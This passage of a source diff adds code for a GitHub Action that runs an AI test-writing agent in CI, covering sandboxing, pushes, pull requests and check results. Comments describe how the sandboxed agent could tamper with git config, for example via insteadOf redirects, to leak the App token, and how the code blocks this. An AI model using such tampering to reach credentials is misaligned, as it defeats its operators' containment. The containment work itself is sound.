].join(" ") + } + // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a + // path like café.spec.ts arrives as itself. unquote decodes the escapes + // anyway, but not producing them is the better half of the fix. + // `-uall` so a NEW DIRECTORY arrives as its files. Without it git reports + // `?? tests/`, splitPushable sees one path with one segment, and + // `git add tests/` commits `tests/.env` and `tests/run.log` along with the + // spec. + const status = git(["-c", "core.quotePath=false", "status", "--porcelain", "--untracked-files=all"]) + if (!status.ok) return undefined + const { push, skip } = splitPushable(changedPaths(status.raw), { + isSymlink: (p) => { + try { + return lstatSync(p).isSymbolicLink() + } catch { + // Gone (a deletion) or unreadable: not a link we would be adding. + return false + } + }, + }) + if (push.length === 0) return undefined + + // Named paths, never `git add -A`: the agent ran shell commands of its own + // choosing and the tree may hold anything. Adding only what we listed is + // also what makes the comment's file list true by construction. + const added = git(["add", "--", ...push]) + if (!added.ok) return renderPushNote({ branch, files: push, skipped: skip, error: added.err || "git add failed" }) + + const subject = `test: ${plan.workflow ?? "Test Companion"} on ${String(plan.context.sha ?? "").slice(0, 7)}` + const body = [ + subject, + "", + `Written by Test Companion for ${plan.context.pr ? `#${plan.context.pr}` : plan.context.sha}.`, + `Run: ${RUN_URL}`, + ].join("\n") + const committed = git(["commit", "-m", body]) + if (!committed.ok) { + return renderPushNote({ + branch, + files: push, + skipped: skip, + error: committed.err || committed.out || "nothing to commit", + }) + } + + // Authenticate as the App when it is installed. Without this the push + // uses whatever actions/checkout left in .git/config, so a team that + // deleted the permissions block as we advise got a 403. + // + // The URL is built here from GITHUB_REPOSITORY rather than taken from the + // remote named `origin`. The agent has had write access to this tree, and + // `url..insteadOf` in .git/config silently redirects `origin` to any + // host — which would hand the App token to it. The credential header is + // scoped to this exact URL for the same reason. + const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!target) + return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) + const pushed = git(["push", target, `HEAD:refs/heads/${branch}`], pushCredentialEnv(env.GH_TOKEN, target)) + if (!pushed.ok) { + // The one failure worth spelling out, because it is a settings problem + // rather than a bug: the workflow's token is read-only by default. + const hint = /403|permission|denied|protected/i.test(pushed.err) + ? `${pushed.err} — the job needs \`permissions: contents: write\`, and the branch must not be protected against it.` + : pushed.err || "git push failed" + return renderPushNote({ branch, files: push, skipped: skip, error: hint }) + } + return renderPushNote({ branch, sha: git(["rev-parse", "HEAD"]).out, files: push, skipped: skip }) +} + +/** + * Set up the locked-down user, or decide what to do when we cannot. + * + * Returns the sandbox layout, or undefined when the run goes ahead + * unisolated because the workflow asked for that. Otherwise stops the run: + * running an AI agent that can reach the job's tokens is not a default. + */ +function isolateAgent(plan) { + const can = canIsolate() + let why = can.why + if (can.ok) { + try { + const layout = prepareSandbox({ repoDir: process.cwd(), tcPath: TC_PATH }) + notice("Test Companion: the agent runs as a separate, locked-down user with no access to this job's tokens.") + return layout + } catch (e) { + why = e?.message ?? String(e) + } + } + if (ALLOW_UNISOLATED) { + warn( + `Test Companion could not lock the agent down (${why}). allow-unisolated is set, so it runs as this job's own user and can reach this job's tokens and secrets.`, + ) + return undefined + } + const message = + `Test Companion did not run: it could not run the agent as a separate, locked-down user (${why}). ` + + "Without that, the agent could reach this job's tokens and secrets. GitHub's own Linux runners support it. " + + "On your own runner, give the job password-free sudo, or set `allow-unisolated: true` to accept the risk." + console.log(`::error::${message}`) + if (plan?.context?.pr) replyOnPr(plan.context.pr, message) + setOutput("outcome", OUTCOMES.COULD_NOT_RUN) + setOutput("should-fail", "true") + process.exit(1) +} + +/** + * What the installed CLI can do, asked once. An older CLI still claims and + * opens pull requests itself, which a locked-down agent cannot. + */ +let cliAbilities +function cliSupports() { + if (cliAbilities) return cliAbilities + const ask = (args) => spawnSync(TC_PATH, args, { encoding: "utf8", env: childEnvFor(env), timeout: 60_000 }) + const run = ask(["workflow", "run", "--help"]) + const claim = ask(["workflow", "claim", "--help"]) + const runHelp = `${run.stdout ?? ""}${run.stderr ?? ""}` + cliAbilities = { + claimHeld: /--claim-held/.test(runHelp), + prHandoff: /--pr-handoff/.test(runHelp), + // An unknown subcommand prints the parent's help and exits 0, so look + // for a flag only the claim command has. + claimCommand: /--release/.test(`${claim.stdout ?? ""}${claim.stderr ?? ""}`), + } + return cliAbilities +} + +/** + * Plant the "already running" marker for this job and commit, as this + * Action, before the agent starts. + * + * Returns { collision, workflow } when the job already ran for this commit; + * otherwise { held, passFlag }: whether we hold a marker to release on + * failure, and whether to tell the CLI the marker is taken care of. + */ +function holdClaim(plan, settingsFile) { + const can = cliSupports() + if (!can.claimHeld || !can.claimCommand) { + warn( + "This version of the Test Companion CLI cannot hand its GitHub writes to the Action, so a live generate, automate or fix run may not be able to save its work. Update the CLI.", + ) + return { held: false, passFlag: false } + } + // Preview writes nothing, the marker included. No commit, no marker. + if (plan.preview || !plan.context.sha) return { held: false, passFlag: true } + const args = [ + "workflow", + "claim", + ...(plan.workflow ? [plan.workflow] : []), + ...(plan.event ? ["--event", plan.event] : []), + ...contextArgs(plan.context), + "--config", + settingsFile, + "--sha", + plan.context.sha, + ] + const r = spawnSync(TC_PATH, args, { encoding: "utf8", env: childEnvFor(env), timeout: 120_000 }) + const got = readClaimResult(r.stdout, r.status) + if (got.result === "collision") return { collision: true, workflow: got.workflow } + if (got.result === "claimed") return { held: true, passFlag: true, args } + if (got.result === "error") { + const first = String(r.stderr ?? "") + .trim() + .split("\n")[0] + warn( + `Could not plant the "already running" marker${first ? ` (${first})` : ""}. Carrying on without it, so a second run on this commit is not stopped from repeating the work.`, + ) + } + return { held: false, passFlag: true } +} + +/** Give the marker back after a run that did not succeed, so a retry can run. */ +function releaseClaim(claim) { + const r = spawnSync(TC_PATH, [...claim.args, "--release"], { encoding: "utf8", env: childEnvFor(env), timeout: 60_000 }) + if (r.status !== 0) { + warn('Could not remove this run\'s "already running" marker, so a retry on this commit may be told the job already ran.') + } +} + +/** + * The node binary the agent's launcher runs with. Ours, unless it lives in + * the runner's home (the runner's own bundled node), which the agent cannot + * reach: then a copy goes in the agent's `in` folder. + */ +function nodeForAgent(sandbox) { + const home = String(env.HOME ?? "") + if (!home || !process.execPath.startsWith(`${home}/`)) return process.execPath + return handToAgent(sandbox, process.execPath, "node") +} + +/** + * Run the CLI as the locked-down user, with the read-only GitHub relay up + * for the length of the run. Same result shape as runCapturingAnswer. + */ +async function runLockedDown(sandbox, args, runFiles) { + const extra = {} + if (cliSupports().prHandoff) extra.TC_WORKFLOW_PR_HANDOFF = runFiles.handoff + const agentEnv = agentEnvFrom(childEnvFor(env), sandbox, extra) + const node = nodeForAgent(sandbox) + const relay = await startRelay({ + socketPath: sandbox.socket, + token: env.GH_TOKEN, + log: (line) => notice(`Test Companion's GitHub relay ${line}`), + }).catch((e) => { + warn(`The read-only GitHub relay did not start (${e?.message ?? e}), so the agent cannot read from GitHub in this run.`) + return undefined + }) + try { + // Signed in to BrowserStack as the agent's own user, the same way the + // Sign in step did it for ours. Best effort: the CLI also reads the + // credentials from its environment. + const login = asAgentCommand({ + node, + launcher: sandbox.launcher, + envFile: writeAgentEnv(sandbox, agentEnv, "login-env.json"), + cwd: sandbox.work, + command: `${sandbox.bin}/tc`, + args: ["auth", "login"], + }) + spawnSync(login.command, login.args, { stdio: "inherit", timeout: 120_000, env: { PATH: "/usr/bin:/bin" } }) + + const cmd = asAgentCommand({ + node, + launcher: sandbox.launcher, + envFile: writeAgentEnv(sandbox, agentEnv), + cwd: sandbox.work, + command: `${sandbox.bin}/tc`, + args, + }) + return await runCapturingAnswer(cmd.command, cmd.args, { PATH: "/usr/bin:/bin" }) + } finally { + await relay?.close() + } +} + +/** + * Open the pull request automate or fix handed back, as this Action. + * + * The branch and its commits were made by the agent, so they get the same + * refusals as saving work: an untouched git config, and no `.github/` files + * or symlinks. Then the branch is pushed to a URL we build ourselves and the + * pull request is opened. Returns the line for the comment, or undefined + * when nothing was handed back. + */ +function openHandedOffPr(path, plan) { + const text = readAgentFile(path, 256 * 1024) + if (text === undefined) return undefined + const req = checkPrHandoff(text, { sha: plan.context.sha }) + if (req.error) return `**Did not open a pull request:** ${req.error}.` + if (!GIT_BIN) return "**Could not open the pull request:** no trusted `git` was found on this runner." + const unexpected = unexpectedConfigKeys(git(CONFIG_READ_ARGS).raw) + if (unexpected.length) { + return `**Did not open a pull request:** the repository's git config carries ${unexpected.map((k) => `\`${k}\``).join(", ")}, which \`actions/checkout\` does not write.` + } + const tip = git(["rev-parse", "--verify", "--quiet", `refs/heads/${req.branch}^{commit}`]) + if (!tip.ok || !tip.out) return `**Did not open a pull request:** the run did not leave a \`${req.branch}\` branch.` + const from = git(["merge-base", headBeforeRun || "HEAD", tip.out]) + if (!from.ok) return `**Did not open a pull request:** \`${req.branch}\` does not share history with this commit.` + // --raw shows each file's new mode, so a symlink (120000) is caught from + // the commit itself rather than from whatever is on disk now. + const diff = git(["-c", "core.quotePath=false", "diff", "--raw", "--no-renames", "-z", from.out, tip.out]) + if (!diff.ok) return `**Could not open the pull request:** ${diff.err || "could not list its changes"}.` + const fields = diff.raw.split("\0").filter(Boolean) + const links = new Set() + const paths = [] + for (let i = 0; i + 1 < fields.length; i += 2) { + const meta = fields[i].split(" ") + paths.push(fields[i + 1]) + if (meta[1] === "120000") links.add(fields[i + 1]) + } + const { skip } = splitPushable(paths, { isSymlink: (p) => links.has(p) }) + if (skip.length) { + return `**Did not open a pull request:** the branch changes files Test Companion never pushes: ${skip.map((f) => `\`${f}\``).join(", ")}.` + } + const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!target) return `**Could not open the pull request:** bad repository name "${REPO}".` + const pushed = git(["push", target, `${tip.out}:refs/heads/${req.branch}`], pushCredentialEnv(env.GH_TOKEN, target)) + if (!pushed.ok) { + return /rejected|non-fast-forward|already exists/i.test(pushed.err) + ? `**Already done:** \`${req.branch}\` already exists, so this job's pull request was opened by an earlier run.` + : `**Could not open the pull request:** ${pushed.err || "git push failed"}.` + } + // The base is the repository's real default branch, asked of GitHub. The + // CLI's guess comes from the clone's record of the remote's HEAD, which + // actions/checkout never writes, so on a runner it is always "main", + // wrong for a repository on master or develop. The CLI's value is only + // the fallback when GitHub does not answer. + const opened = ghRaw(["api", `repos/${REPO}/pulls`, "--method", "POST", "--input", "-"], { + head: req.branch, + base: defaultBranchName() || req.base, + title: req.title, + body: req.body, + }) + if (opened.status !== 0) { + return /already exists/i.test(`${opened.stdout}${opened.stderr}`) + ? `**Already done:** a pull request for \`${req.branch}\` is already open.` + : `**Pushed \`${req.branch}\` but could not open the pull request:** ${String(opened.stderr ?? "").trim().split("\n")[0]}.` + } + let url = "" + try { + url = JSON.parse(opened.stdout)?.html_url ?? "" + } catch { + // Opened; the link is a nicety. + } + return `**Opened a pull request** with this run's changes${url ? `: ${url}` : ` from \`${req.branch}\``}.` +} + +/** one check, never neutral.: each failing test on its own line. */ +function postCheck(outcome, view, sha, annotations = [], status = "completed", title = undefined) { + if (!sha) return + const waiting = status === "in_progress" + const payload = { + name: "Test Companion", + head_sha: sha, + status, + // Which run this check belongs to. The closed-PR cancel reads it back: the + // check is posted on the PULL REQUEST's head commit, which is the one + // thing that reliably ties a run to the pull request it is about. + external_id: String(env.GITHUB_RUN_ID ?? ""), + details_url: RUN_URL, + output: { + title: waiting ? (title ?? "Waiting for approval") : outcome, + // CAPPED. GitHub rejects a summary over 65,535 characters with a + // 422, gh turns that into a warning and returns null, and the + // "Running" check posted before the run is then never completed + // it sits in_progress on the head commit for ever, blocking anyone + // who made it required. The comment was capped and this was not + // + summary: renderCheckSummary(view), + ...(annotations.length ? { annotations } : {}), + }, + } + // A check that is still running must carry no conclusion; GitHub rejects it. + if (!waiting) payload.conclusion = checkConclusion(outcome) + + // Update the check this run already made for this commit, rather than + // adding another. A run posts up to three times — in progress, the result, + // and the catch-all on a crash — so posting every time left two or three + // checks of the same name, and a proposal's in-progress one pending + // forever. asks for one. + const { method, path } = checkRequestFor(sha, checksMade) + const res = gh(["api", `repos/${REPO}/${path}`, "--method", method, "--input", "-"], payload) + if (res?.id) checksMade.set(sha, res.id) +} + +/** The check this run has already created, per commit. See checkRequestFor. */ +const checksMade = new Map() + +/** Adopt a check another run created, so we update it instead of adding one. */ +function rememberCheck(sha, id) { + checksMade.set(sha, id) +} + +/** + * End the runs in flight on this commit. + * + * A cancel call rather than a flag the next run would notice: asking GitHub to + * cancel is the only thing that stops work already underway. The one caller + * left is a pull request closed without merging; `stop` was the other, and it + * was removed. + */ +function cancelRunsOn(sha) { + // Our own check runs on this commit, NOT `actions/runs?head_sha=`. A run + // started by an issue_comment carries the DEFAULT BRANCH's sha, so that + // query matched nothing and a closed pull request never cancelled anything + // (verified live, 2026-10-29). + const checks = gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`]) + const fromChecks = runIdsFromChecks(checks?.check_runs, { selfRunId: env.GITHUB_RUN_ID }) + // Unioned with the old head_sha query, which is still right for a run whose + // head sha genuinely IS this commit — a pull_request-triggered one — and + // whose check may not have been written yet. Wrong only for comment runs, + // which is exactly the gap the checks above close. + const list = gh(["api", `repos/${REPO}/actions/runs?head_sha=${sha}&per_page=100`]) + const fromRuns = chooseRunsToCancel(list?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + headSha: sha, + workflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + const ids = [...new Set([...fromChecks, ...fromRuns.map(String)])] + let cancelled = 0 + let forbidden = false + for (const id of ids) { + const r = ghRaw(["api", `repos/${REPO}/actions/runs/${id}/cancel`, "--method", "POST"]) + if (r.status === 0) cancelled++ + else if (/403|Resource not accessible/i.test(r.stderr ?? "")) forbidden = true + } + return { found: ids.length, cancelled, forbidden } +} + +/** + * A pull request closed without merging stops its run. + * + * Without the permission to cancel, the run finishes anyway and the comment + * says it ran on a closed pull request — so this warns and lets it be, + * rather than failing anything. + */ +function cancelForClosedPr(payload) { + const sha = payload?.pull_request?.head?.sha + if (!sha) return + const { cancelled, forbidden } = cancelRunsOn(sha) + if (cancelled > 0) { + // Cancelling leaves the run's check in progress, and a check that never + // resolves blocks anyone who made it required. + // `stopRuns` used to complete it and went with `stop`; nothing replaced + // it, so a pull request closed mid-run kept a pending check that came + // back if it was reopened. + const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) + if (existing) rememberCheck(sha, existing) + postCheck( + OUTCOMES.SKIPPED, + { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, + sha, + [], + "completed", + "The pull request was closed.", + ) + notice(`Test Companion: stopped ${cancelled} run(s) — the pull request was closed without merging.`) + } else if (forbidden) { + warn("Could not stop the run for a closed pull request: this workflow needs `actions: write`.") + } +} + +/** + * Which test framework the checked-out repository uses. + * + * Two levels deep and skipping node_modules and dotted directories: deep + * enough for the common `e2e/playwright.config.ts` layout, shallow enough not + * to walk a monorepo. Every read is best-effort — a repository we cannot scan + * gets the generic starter, which is the honest outcome. + */ +function scanForFramework() { + let deps = {} + try { + const pkg = JSON.parse(readFileSync("package.json", "utf8")) + deps = { ...pkg.dependencies, ...pkg.devDependencies } + } catch { + // No package.json, or unreadable. A config file may still say. + } + + const filenames = [] + const walk = (dir, depth) => { + if (depth > 2) return + let entries = [] + try { + entries = readdirSync(dir, { withFileTypes: true }) + } catch { + return + } + for (const e of entries) { + if (e.name === "node_modules" || e.name.startsWith(".")) continue + const full = dir === "." ? e.name : `${dir}/${e.name}` + if (e.isDirectory()) walk(full, depth + 1) + else filenames.push(full) + } + } + walk(".", 0) + return detectFramework({ filenames, deps }) +} + +/** + * Open the pull request that adds the settings file. + * + * A pull request rather than a direct commit, deliberately: the settings decide + * what Test Companion is allowed to do, so they go in the way every other + * change to that does — reviewed. + */ +function openSetupPr(plan, configPath) { + const framework = scanForFramework() + const { branch, title, body } = renderSetupPr(configPath, framework) + const base = settingsRef(readEvent(), env) + const baseSha = gh(["api", `repos/${REPO}/git/ref/heads/${base}`])?.object?.sha + if (!baseSha) { + replyOnPr(plan.context.pr, `I could not read the ${base} branch, so I have not opened anything.`) + return + } + + // An existing branch from an earlier attempt is fine to reuse; the file write + // below is what actually matters. + ghRaw(["api", `repos/${REPO}/git/refs`, "--method", "POST", "--input", "-"], { ref: `refs/heads/${branch}`, sha: baseSha }) + + const put = ghRaw(["api", `repos/${REPO}/contents/${configPath}`, "--method", "PUT", "--input", "-"], { + message: title, + content: Buffer.from(starterPipelineFor(framework), "utf8").toString("base64"), + branch, + }) + if (put.status !== 0) { + replyOnPr( + plan.context.pr, + `I could not write \`${configPath}\` — this workflow may need \`contents: write\`. The run summary has the file to copy by hand.`, + ) + return + } + + const opened = gh(["api", `repos/${REPO}/pulls`, "--method", "POST", "--input", "-"], { title, head: branch, base, body }) + replyOnPr( + plan.context.pr, + opened?.html_url + ? `Opened ${opened.html_url} with the settings file. Nothing runs until it merges.` + : `I pushed the settings to \`${branch}\` but could not open a pull request — this workflow may need \`pull-requests: write\`.`, + ) +} + +/** + * Drop proposals nobody answered. + * + * This is what makes the in-progress check safe to post at all. A proposal + * never replied to would otherwise leave that check unresolved for the life + * of the pull request, blocking anyone who made "Test Companion" required. + * + * Runs on the nightly schedule, alongside whatever else is bound to it. + */ +function sweepExpiredProposals() { + const prs = flattenPages(gh(["api", `repos/${REPO}/pulls?state=open&per_page=100`, "--paginate", "--slurp"])) + for (const pr of prs) { + const sha = pr?.head?.sha + if (!sha || !pr?.number) continue + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${pr.number}/comments`, "--paginate", "--slurp"])) + if (!proposalNeedsDropping(comments, sha, Date.now(), botLogin)) continue + // The same question, asked again for the ANSWER rather than the yes/no: + // the dropped marker has to name the job, or dropping one stale plan + // would finish off every other plan on that commit. + const stale = findProposal(comments, sha, Date.now(), botLogin) + // A proposal written before the job was recorded has no workflow, and a + // marker with no workflow means the WHOLE COMMIT under the legacy rule + // in SPENT_MARKER — so sweeping one old plan would kill every current + // one beside it, which is the thing per-job plans set out to stop. Leave it; + // it is already expired, so it cannot be approved either way. + if (!stale?.workflow) { + notice(`Test Companion: left an untagged stale proposal on #${pr.number} rather than sweeping the whole commit.`) + continue + } + + // Complete the check the PROPOSAL run left in progress, rather than + // adding a second one beside it. The sweep is a different process with + // an empty memo, so without this lookup the proposal's check stayed + // pending for the life of the branch — the "blocked by a check that + // never arrives" failure this sweep exists to prevent. + const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) + if (existing) rememberCheck(sha, existing) + + // "Action required", by design — checkConclusion already maps Could not run + // to exactly that, and never to neutral, which branch protection reads as a pass. + postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, sha) + replyOnPr( + pr.number, + `That proposal went unanswered, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha, stale?.workflow)}`, + ) + notice(`Test Companion: dropped a stale proposal on #${pr.number}.`) + } +} + +/** + * What the pipeline file binds to this event, with every value resolved. + * + * Asks the CLI rather than parsing the YAML here: one parser, one schema, one + * place for it to drift. Returns undefined when the read fails, which + * decideGate treats as "hold for review" — failing closed. + */ +function readBindings(configFile, event, branch) { + // `--branch` narrows the same way a run does. Without it this returns + // bindings a `when:` clause would exclude, and pickBinding could hand + // decideGate the approval policy of a binding that never runs — reading + // `straight-through` off one while the CLI ran another, which skipped the + // gate in the direction that writes. + const base = ["workflow", "bindings", "--config", configFile, "--event", event] + const ask = (extra) => + spawnSync("tc", [...base, ...extra, "--json"], { + encoding: "utf8", + env: childEnvFor(env), + }) + + let r = branch ? ask(["--branch", branch]) : ask([]) + // An older CLI does not know --branch. Falling back is much better than + // losing the settings block entirely: without it there is no wcag, no + // targets, no tests_repo and no ask_team, and the run quietly behaves as + // though the repository had configured none of them. The cost of the + // fallback is only that bindings are not branch-narrowed, which is exactly + // how it behaved before the flag existed. + if (branch && r.status !== 0 && /unknown flag|unknown shorthand/i.test(r.stderr ?? "")) { + warn("This CLI does not support `workflow bindings --branch`; reading bindings without branch narrowing.") + r = ask([]) + } + if (r.status !== 0) { + warn(`Could not read the pipeline bindings: ${(r.stderr ?? "").trim().split("\n").pop()}`) + return undefined + } + try { + return JSON.parse(r.stdout) + } catch { + return undefined + } +} + +/** The binding a comment is asking for, or the one bound to the event. */ +function pickBinding(doc, workflow) { + const list = (doc?.bindings ?? []).filter((b) => b.enabled) + return workflow ? list.find((b) => b.workflow === workflow) : list[0] +} + +/** + * A plain reply in the thread. + * + * Deliberately NOT the tracked run comment: it carries no COMMENT_MARKER, so a + * later run neither overwrites a refusal nor adopts one as the place it reports. + */ +function replyOnPr(pr, body) { + if (!pr) return + gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], { body }) +} + +/** + * Mark the approved plan spent, ON THE PROPOSAL ITSELF. + * + * Put in the shared result comment it would not survive: every later run + * REPLACES that body, so the record of an approval disappears, `findProposal` + * offers the plan as waiting again, and a bare `go` re-runs a `--yolo` job. + * A proposal comment is written once and never rewritten, so the marker + * lasts there. + * + * Best effort: failing to mark it must not take down a run that has already + * done its work. + */ +function markPlanSpent(planId, marker) { + if (!planId || !marker) return + const current = gh(["api", `repos/${REPO}/issues/comments/${planId}`]) + const body = String(current?.body ?? "") + if (!body || body.includes(marker)) return + gh(["api", `repos/${REPO}/issues/comments/${planId}`, "--method", "PATCH", "--input", "-"], { body: `${body}\n\n${marker}` }) +} + +function postComment(pr, view) { + // `--slurp` matters: without it `gh --paginate` prints ONE JSON ARRAY PER + // PAGE, so the output of a pull request with more than 30 comments is + // `[...][...]`, JSON.parse throws, gh returns null and `existing` becomes + // []. Every run then posted a NEW comment instead of editing its own, which + // broke the single-comment guarantee. + const existing = flattenPages(gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--paginate", "--slurp"])) + const choice = chooseCommentAction(existing, botLogin) + // An approved proposal must stop looking like one. + // Without this a second `go` reran the job, and a day later the sweep told + // the person their approved plan had gone unanswered. + const body = { body: renderComment(view) + (view.consumedMarker ? `\n${view.consumedMarker}` : "") } + if (choice.action === "update") { + gh(["api", `repos/${REPO}/issues/comments/${choice.id}`, "--method", "PATCH", "--input", "-"], body) + } else { + gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], body) + } +} + +// A crash after the job finishes would leave no tick and no comment, which +// is worse than a red tick: anyone who made the check required is blocked by +// a check that never arrives, with nothing on the pull request saying why. +// +// finishSkipped and the normal path both exit(0) from inside main, so +// reaching this catch means something unexpected threw. Report it as "Could +// not run" and still exit 0, so the build-effect step decides whether the +// build goes red. +try { + await main() +} catch (e) { + const message = e?.stack || String(e) + const fence = "```" + notice(`Test Companion could not complete: ${message}`) + addToJobSummary( + `## Test Companion \u2014 ${OUTCOMES.COULD_NOT_RUN}\n\nThe action itself failed before it could report.\n\n${fence}\n${message}\n${fence}`, + ) + setOutput("outcome", OUTCOMES.COULD_NOT_RUN) + setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, OUTCOMES.COULD_NOT_RUN))) + try { + // The commit we already posted the in-progress check on, NOT the + // event's sha: on a comment run GITHUB_SHA is the default branch's + // commit, so this used to post a second check on main and leave the + // pull request's one pending. + postCheck( + OUTCOMES.COULD_NOT_RUN, + { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, + checkSubjectFor(checksMade, env.GITHUB_SHA), + ) + } catch { + // Nothing left to try. The job summary above is still written. + } + process.exit(0) +} diff --git a/test-companion/src/outcome.mjs b/test-companion/src/outcome.mjs new file mode 100644 index 0000000..4a9d87e --- /dev/null +++ b/test-companion/src/outcome.mjs @@ -0,0 +1,232 @@ +/** + * What happened, in five words. + * + * The CLI distinguishes these cases across two channels, and neither is + * sufficient alone: the exit code is a stable contract but exit 4 covers a + * crash, a time ceiling AND a version-pin mismatch, while the report file + * separates them but is absent if the process was killed. + * + * Three separate questions, kept apart deliberately: + * - what happened → resolveOutcome (the five labels) + * - what the check says → checkConclusion + * - whether the step is red → stepShouldFail + * + * The check always reports truthfully. The build effect only governs the step. + */ + +/** The five outcomes, spelled exactly. */ +export const OUTCOMES = Object.freeze({ + SUCCEEDED: "Succeeded", + TESTS_FAILED: "Tests failed", + RUN_BROKE: "Run broke", + STOPPED_AT_LIMIT: "Stopped at limit", + COULD_NOT_RUN: "Could not run", + // Not one of the five. Those describe a run that HAPPENED; this says none + // did — a draft PR, a fork, an unaddressed comment, no pipeline file, or + // an event nothing is bound to. + SKIPPED: "Skipped", +}) + +/** + * Parse the CLI's report: one `key: value` per line. + * + * Splits on the FIRST colon only — a value is routinely a URL, and splitting on + * every colon would truncate every build link. Unknown keys are kept rather than + * dropped, so a newer CLI adding a field does not need a change here. + */ +export function parseSummary(text) { + const out = {} + if (!text) return out + for (const line of String(text).split("\n")) { + const at = line.indexOf(":") + if (at === -1) continue + const key = line.slice(0, at).trim() + if (key) out[key] = line.slice(at + 1).trim() + } + return out +} + +/** + * Which of the five happened. + * + * `summary` is the parsed report, possibly empty — an absent report is a real + * case, not an impossible one: the CLI only writes it when --summary-file was + * passed, and never when the process was killed outright. + */ +export function resolveOutcome(exitCode, summary = {}) { + // Nothing was bound to this event, so nothing ran. Checked before the + // report-wins rule below, which would otherwise read "not succeeded" as a + // breakage and redden a commit that was never meant to run anything. + // + // The report then wins over a success exit code: a run with an expired + // BrowserStack session can exit 0 having done nothing at all, which a CI + // step checking only the exit code reads as green. + if (summary.outcome === "skipped") { + return OUTCOMES.SKIPPED + } + if (exitCode === 0 && summary.outcome && summary.outcome !== "succeeded") { + return summary.outcome === "failed" ? OUTCOMES.TESTS_FAILED : OUTCOMES.RUN_BROKE + } + + switch (exitCode) { + case 0: + return OUTCOMES.SUCCEEDED + // ExitTestFailed: the agent finished cleanly, the tests did not pass. + case 5: + return OUTCOMES.TESTS_FAILED + // ExitTaskFailed covers three causes; only the report separates them. + case 4: + return summary.error_type === "ceiling_exceeded" ? OUTCOMES.STOPPED_AT_LIMIT : OUTCOMES.RUN_BROKE + // ExitUsage: a bad pipeline file or bad flags, so nothing ran. + case 2: + return OUTCOMES.COULD_NOT_RUN + // ExitAuth: not signed in. + case 3: + return OUTCOMES.COULD_NOT_RUN + // ExitTaskBlocked: the turn finished but the task could not be + // performed — plan, entitlement, or a refusal. + case 7: + return OUTCOMES.COULD_NOT_RUN + // ExitUnansweredQuestion: headless promised to answer every ask and did + // not, so the run is broken rather than merely unfinished. + case 6: + return OUTCOMES.RUN_BROKE + default: + // Including exit 1. An unrecognised code is never reported as success. + return OUTCOMES.RUN_BROKE + } +} + +/** + * What the "Test Companion" check says. + * + * Never `neutral`: branch protection treats a neutral check as a pass, so a + * neutral conclusion would let a run that could not finish satisfy a required + * check. That is the one thing this must not do. + */ +export function checkConclusion(outcome) { + switch (outcome) { + case OUTCOMES.SUCCEEDED: + return "success" + case OUTCOMES.TESTS_FAILED: + return "failure" + case OUTCOMES.SKIPPED: + // Distinct from "could not finish", which the default below covers: + // nothing was bound to this event, so there was nothing to run and + // nothing to report. Defensive — main.mjs takes the skip path and + // posts no check at all — but if one is ever posted it must not + // demand a person's attention for a commit nobody asked about. + return "success" + default: + // Stopped at limit and Could not run both need a person: a re-run, more + // credits, or a fix. Distinct from a test failure, and still not a pass. + return "action_required" + } +} + +/** + * One mark per outcome, so the heading reads at a glance in a crowded thread. + * + * Deliberately the ones GitHub itself uses for the same ideas. An outcome a + * newer CLI reports and this Action has never heard of gets no mark rather + * than a crash: losing the mark is cosmetic, losing the report is not. + */ +const OUTCOME_MARKS = Object.freeze({ + [OUTCOMES.SUCCEEDED]: "✅", + [OUTCOMES.TESTS_FAILED]: "❌", + [OUTCOMES.RUN_BROKE]: "💥", + [OUTCOMES.STOPPED_AT_LIMIT]: "🛑", + [OUTCOMES.COULD_NOT_RUN]: "⚠️", + [OUTCOMES.SKIPPED]: "⏭️", +}) + +export function emojiFor(outcome) { + return OUTCOME_MARKS[outcome] ?? "" +} + +/** + * A workflow annotation, because that is where somebody looking at a newly-red + * build will be. + */ +const warnedBuildEffects = new Set() +function warnUnrecognisedBuildEffect(value) { + // Once per distinct value, not once per process: a run only ever sees one + // setting, so this is "once" in practice, and it stays observable when + // several are exercised in the same process. + if (warnedBuildEffects.has(value)) return + warnedBuildEffects.add(value) + const known = Object.values(BUILD_EFFECTS).join(", ") + process.stdout.write( + `::warning::Test Companion: build-effect "${value}" is not one of ${known}, so the default (${BUILD_EFFECTS.FAIL_ON_BREAK}) applies and a run that breaks will redden this step.\n`, + ) +} + +/** What a repository can ask a bad outcome to do to its build. */ +export const BUILD_EFFECTS = Object.freeze({ + /** Never red. The check still reports truthfully. */ + REPORT: "report", + /** Red when the RUN broke. Green when the run worked and the tests did not. */ + FAIL_ON_BREAK: "fail-on-break", + /** Red on anything that is not a success, test failures included. */ + FAIL: "fail", +}) + +/** + * The run itself did not work: it crashed, it never started, or it hit a + * ceiling. Distinct from a test failure, which is a RESULT — the run did its + * job and the answer was no. + */ +const RUN_DID_NOT_WORK = new Set([OUTCOMES.RUN_BROKE, OUTCOMES.COULD_NOT_RUN, OUTCOMES.STOPPED_AT_LIMIT]) + +/** + * Whether the Action's own step goes red. + * + * Only ever governs the step. The check reports truthfully regardless, so a + * repository choosing `report` sees a red check and a green build by choice. + * + * The default is `fail-on-break`: a run that did not work reddens the step, a + * run that worked and found failing tests does not. Making a test RESULT + * block the build is a larger decision, and `fail` is there for anyone who + * wants it. + * + * Anything unrecognised behaves as the DEFAULT rather than as `report`, so a + * typo cannot buy a 